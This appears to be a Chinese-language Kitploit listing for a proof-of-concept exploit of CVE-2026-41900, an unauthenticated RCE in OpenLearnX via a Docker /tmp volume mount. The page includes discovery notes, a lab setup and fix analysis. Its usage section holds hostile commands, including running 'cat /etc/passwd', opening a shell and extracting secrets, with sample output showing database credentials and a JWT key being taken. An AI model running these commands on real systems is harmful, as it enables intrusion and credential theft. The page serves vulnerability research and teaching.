Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-41900-POC — CVE-2026-41900 的概念验证漏洞利用程序,该漏洞是 OpenLearnX 中通过容器卷挂载实现的一种未认证远程代码执行漏洞,可导致 /tmp 目录泄露及命令执行。 | Kitploit
工具/GitHubGitHub/christbowel/cve-2026-41900-poc
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育红队容器逃逸
GitHubchristbowel/cve-2026-41900-poc

CVE-2026-41900-POC

CVE-2026-41900 的概念验证漏洞利用程序,该漏洞是 OpenLearnX 中通过容器卷挂载实现的一种未认证远程代码执行漏洞,可导致 /tmp 目录泄露及命令执行。

查看仓库
23个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

OpenLearnX-RCE

hacking

OpenLearnX 未授权 RCE(通过容器卷挂载)

基于差异的发现 → 静默补丁 → 沙箱逃逸 → 完整 /tmp 泄露

属性值
名称OpenLearnX-RCE
CVECVE-2026-41900
GHSAGHSA-8h25-q488-4hxw
类型未授权信息泄露 / RCE
受影响版本OpenLearnX < 提交 14765d7
修复版本提交 14765d7 (real_compiler_service)
CVSS8.6 (高危)
CWECWE-538, CWE-377, CWE-250

发现过程

OSDC(我的自动化补丁情报流水线)标记了 OpenLearnX 上的一条静默公告——GHSA-8h25-q488-4hxw 发布时没有任何技术细节。我拉取了修复提交(14765d7)并将其与父提交(d19c4e4)进行了差异对比。

差异对比揭示了全部真相:backend/routes/coding.py 中的 execute_in_container() 被彻底移除,并替换为加固后的 real_compiler_service。旧代码将用户提供的代码写入临时文件,然后将 os.path.dirname(temp_file)——解析为 /tmp——以只读卷的方式挂载到兄弟 Docker 容器中。没有 user=,没有 cap_drop,没有 security_opt。默认以 root 权限运行。

关键点在于:/api/compiler/execute 下的 compiler 蓝图没有认证装饰器。任何未授权请求都可以通过存在漏洞的容器配置触发代码执行。

我在本地实验室中隔离了补丁前的代码,确认了所有攻击向量,并编写了此 PoC。


漏洞摘要

root@kitploit:~
POST /api/compiler/execute  (无认证)
     │
     ▼
execute_in_container(user_code)
     │
     ├─ tempfile.NamedTemporaryFile(suffix='.py')  → /tmp/tmpXXXXXX.py
     │
     ├─ volumes = { os.path.dirname(temp_file): { "bind": "/app", "mode": "ro" } }
     │                     │
     │                     └─ 解析为 /tmp → 整个 /tmp 被挂载进容器
     │
     ├─ 无 user=        → 以 root 运行 (UID 0)
     ├─ 无 cap_drop     → 默认 Docker 能力
     ├─ 无 security_opt → 默认 seccomp 配置文件
     │
     └─ 攻击者可读取:密钥、凭据、JWT 密钥、其他用户的提交

攻击向量

攻击向量严重性CWE描述
listing高CWE-538通过卷挂载列出 /tmp 目录
secrets严重CWE-538从 /tmp 读取凭据、密钥、配置文件
submissions高CWE-538读取其他学生的代码提交
rootcheck中CWE-250确认以 UID 0 (root) 执行
caps中CWE-250导出有效的 Linux 能力

安装

root@kitploit:~
git clone https://github.com/Christbowel/CVE-2026-41900-POC.git
cd CVE-2026-41900-POC
# 无依赖 — 仅使用标准库
chmod +x exploit.py

使用方法

root@kitploit:~
# 检查目标是否存在漏洞
python3 exploit.py --check http://target:5000

# 运行所有攻击向量 + 生成证据 JSON
python3 exploit.py --exploit http://target:5000

# 执行单条命令
python3 exploit.py -c "id" http://target:5000
python3 exploit.py -c "cat /etc/passwd" http://target:5000

# 进入交互式 shell
python3 exploit.py --shell http://target:5000

# 运行特定攻击向量
python3 exploit.py --gadget secrets http://target:5000
python3 exploit.py --gadget listing --gadget caps http://target:5000

Shell 命令

进入 --shell 后,您将获得一个伪交互式 shell。每条命令都会生成一个新的临时容器。

root@kitploit:~
root@container:/app# id
uid=0(root) gid=0(root)

root@container:/app# ls -la /app/
total 28
-rw-r--r--  1 root root  121 May  6 openlearnx_db_creds.conf
-rw-r--r--  1 root root  235 May  6 jwt_signing_key.pem
-rw-r--r--  1 root root  298 May  6 student_submission_8842.py

root@container:/app# cat /app/openlearnx_db_creds.conf
MONGO_URI=mongodb://admin:[email protected]:27017/openlearnx

root@container:/app# download jwt_signing_key.pem
  [+] 已下载 jwt_signing_key.pem (235B)

root@container:/app# exit

实验室搭建

要在本地复现:

root@kitploit:~
cd lab/
docker compose up -d --build
sleep 3
python3 ../exploit.py --exploit http://localhost:5000

该实验室部署了一个容器化的 Flask 应用,复现补丁前的 execute_in_container(),具备以下特性:

  • 挂载 Docker socket(兄弟容器模式)
  • 主机与应用容器之间共享 /tmp
  • 种子文件模拟密钥和学生提交

修复分析

提交 14765d7 将 execute_in_container() 替换为 real_compiler_service,其应用了:

root@kitploit:~
container = docker_client.containers.run(
    image,
    volumes={temp_dir: {"bind": "/workspace", "mode": "rw"}},  # 每次执行使用隔离的临时目录
    cap_drop=["ALL"],                                           # 丢弃所有能力
    security_opt=["no-new-privileges:true"],                    # 防止权限提升
    user="65534:65534",                                         # nobody,而非 root
    ...
)

时间线

日期事件
2026-04OSDC 标记静默公告 GHSA-8h25-q488-4hxw
2026-04对提交 14765d7 与父提交 d19c4e4 进行差异分析
2026-05实验室复现和 PoC 开发
2026-05-06完整 PoC 确认 — 全部 5 个攻击向量已验证

免责声明

本工具仅供授权的安全测试和教育目的使用。仅可针对您拥有或已获得明确书面许可的系统使用。未经授权访问计算机系统是违法的。


Christbowel · christbowel.com · Balgo 安全团队

下载工具